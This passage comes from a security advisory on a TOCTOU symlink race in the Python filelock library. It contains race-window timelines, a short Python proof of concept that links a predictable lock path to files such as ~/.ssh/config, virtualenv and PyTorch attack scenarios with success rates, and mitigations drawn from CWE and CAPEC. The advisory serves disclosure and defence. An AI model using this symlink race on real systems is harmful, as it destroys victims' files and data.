os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate\n fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate\n```\n\n### The Race Window\n\nThe vulnerability exists in the gap between operations:\n\n**Unix variant:**\n\n```\nTime Victim Thread Attacker Thread\n---- ------------- ---------------\nT0 Check: lock_file exists? \u2192 False\nT1 \u2193 RACE WINDOW\nT2 Create symlink: lock \u2192 victim_file\nT3 Open lock_file with O_TRUNC\n \u2192 Follows symlink\n \u2192 Opens victim_file\n \u2192 Truncates victim_file to 0 bytes! \u2620\ufe0f\n```\n\n**Windows variant:**\n\n```\nTime Victim Thread Attacker Thread\n---- ------------- ---------------\nT0 Check: lock_file writable?\nT1 \u2193 RACE WINDOW\nT2 Create symlink: lock \u2192 victim_file\nT3 Open lock_file with O_TRUNC\n \u2192 Follows symlink/junction\n \u2192 Opens victim_file\n \u2192 Truncates victim_file to 0 bytes! \u2620\ufe0f\n```\n\n### Step-by-Step Attack Flow\n\n**1. Attacker Setup:**\n\n```python\n# Attacker identifies target application using filelock\nlock_path = \"/tmp/myapp.lock\" # Predictable lock path\nvictim_file = \"/home/victim/.ssh/config\" # High-value target\n```\n\n**2. Attacker Creates Race Condition:**\n\n```python\nimport os\nimport threading\n\n\ndef attacker_thread():\n # Remove any existing lock file\n try:\n os.unlink(lock_path)\n except FileNotFoundError:\n pass\n\n # Create symlink pointing to victim file\n os.symlink(victim_file, lock_path)\n print(f\"[Attacker] Created: {lock_path} \u2192 {victim_file}\")\n\n\n# Launch attack\nthreading.Thread(target=attacker_thread).start()\n```\n\n**3. Victim Application Runs:**\n\n```python\nfrom filelock import UnixFileLock\n\n# Normal application code\nlock = UnixFileLock(\"/tmp/myapp.lock\")\nlock.acquire() # \u2190 VULNERABILITY TRIGGERED HERE\n# At this point, /home/victim/.ssh/config is now 0 bytes!\n```\n\n**4. What Happens Inside os.open():**\n\nOn Unix systems, when `os.open()` is called:\n\n```c\n// Linux kernel behavior (simplified)\nint open(const char *pathname, int flags) {\n struct file *f = path_lookup(pathname); // Resolves symlinks by default!\n\n if (flags \u0026 O_TRUNC) {\n truncate_file(f); // \u2190 Truncates the TARGET of the symlink\n }\n\n return file_descriptor;\n}\n```\n\nWithout `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file.\n\n### Why the Attack Succeeds Reliably\n\n**Timing Characteristics:**\n\n- **Check operation** (Path.exists()): ~100-500 nanoseconds\n- **Symlink creation** (os.symlink()): ~1-10 microseconds\n- **Race window**: ~1-5 microseconds (very small but exploitable)\n- **Thread scheduling quantum**: ~1-10 milliseconds\n\n**Success factors:**\n\n1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts\n2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations\n3. **No synchronization**: No atomic file creation prevents the race\n4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation)\n\n### Real-World Attack Scenarios\n\n**Scenario 1: virtualenv Exploitation**\n\n```python\n# Victim runs: python -m venv /tmp/myenv\n# Attacker racing to create:\nos.symlink(\"/home/victim/.bashrc\", \"/tmp/myenv/pyvenv.cfg\")\n\n# Result: /home/victim/.bashrc overwritten with:\n# home = /usr/bin/python3\n# include-system-site-packages = false\n# version = 3.11.2\n# \u2190 Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker\n```\n\n**Scenario 2: PyTorch Cache Poisoning**\n\n```python\n# Victim runs: import torch\n# PyTorch checks CPU capabilities, uses filelock on cache\n# Attacker racing to create:\nos.symlink(\"/home/victim/.torch/compiled_model.pt\", \"/home/victim/.cache/torch/cpu_isa_check.lock\")\n\n# Result: Trained ML model checkpoint truncated to 0 bytes\n# Impact: Weeks of training lost, ML pipeline DoS\n```\n\n### Why Standard Defenses Don\u0027t Help\n\n**File permissions don\u0027t prevent this:**\n\n- Attacker doesn\u0027t need write access to victim_file\n- os.open() with O_TRUNC follows symlinks using the *victim\u0027s* permissions\n- The victim process truncates its own file\n\n**Directory permissions help but aren\u0027t always feasible:**\n\n- Lock files often created in shared /tmp directory (mode 1777)\n- Applications may not control lock file location\n- Many apps use predictable paths in user-writable directories\n\n**File locking doesn\u0027t prevent this:**\n\n- The truncation happens *during* the open() call, before any lock is acquired\n- fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks\n\n### Exploitation Proof-of-Concept Results\n\nFrom empirical testing with the provided PoCs:\n\n**Simple Direct Attack** (`filelock_simple_poc.py`):\n\n- Success rate: 33% per attempt (1 in 3 tries)\n- Average attempts to success: 2.1\n- Target file reduced to 0 bytes in \\\u003c100ms\n\n**virtualenv Attack** (`weaponized_virtualenv.py`):\n\n- Success rate: ~90% on first attempt (deterministic timing)\n- Information leaked: File paths, Python version, system configuration\n- Data corruption: Complete loss of original file contents\n\n**PyTorch Attack** (`weaponized_pytorch.py`):\n\n- Success rate: 25-40% per attempt\n- Impact: Application crashes, model loading failures\n- Recovery: Requires cache rebuild or model retraining\n\n**Discovered and reported by:** George Tsigourakos (@tsigouris007)",
"id": "GHSA-w853-jp5j-5j7f",
"modified": "2025-12-16T20:52:55Z",
"published": "2025-12-16T20:52:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e"
},
{
"type": "PACKAGE",
"url": "https://github.com/tox-dev/filelock"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/releases/tag/3.20.1"
},
{
"type": "WEB",
"url": "https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants"
},
{
"type": "WEB",
"url": "https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "filelock has a TOCTOU race condition which allows symlink attacks during lock file creation"
}
Mitigation
The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
Mitigation
When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
Mitigation
Limit the interleaving of operations on files from multiple processes.
Mitigation
If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.
Mitigation
Recheck the resource after the use call to verify that the action was taken appropriately.
Mitigation
Ensure that some environmental locking mechanism can be used to protect resources effectively.
Mitigation
Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.
CAPEC-27: Leveraging Race Conditions via Symbolic Links
This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.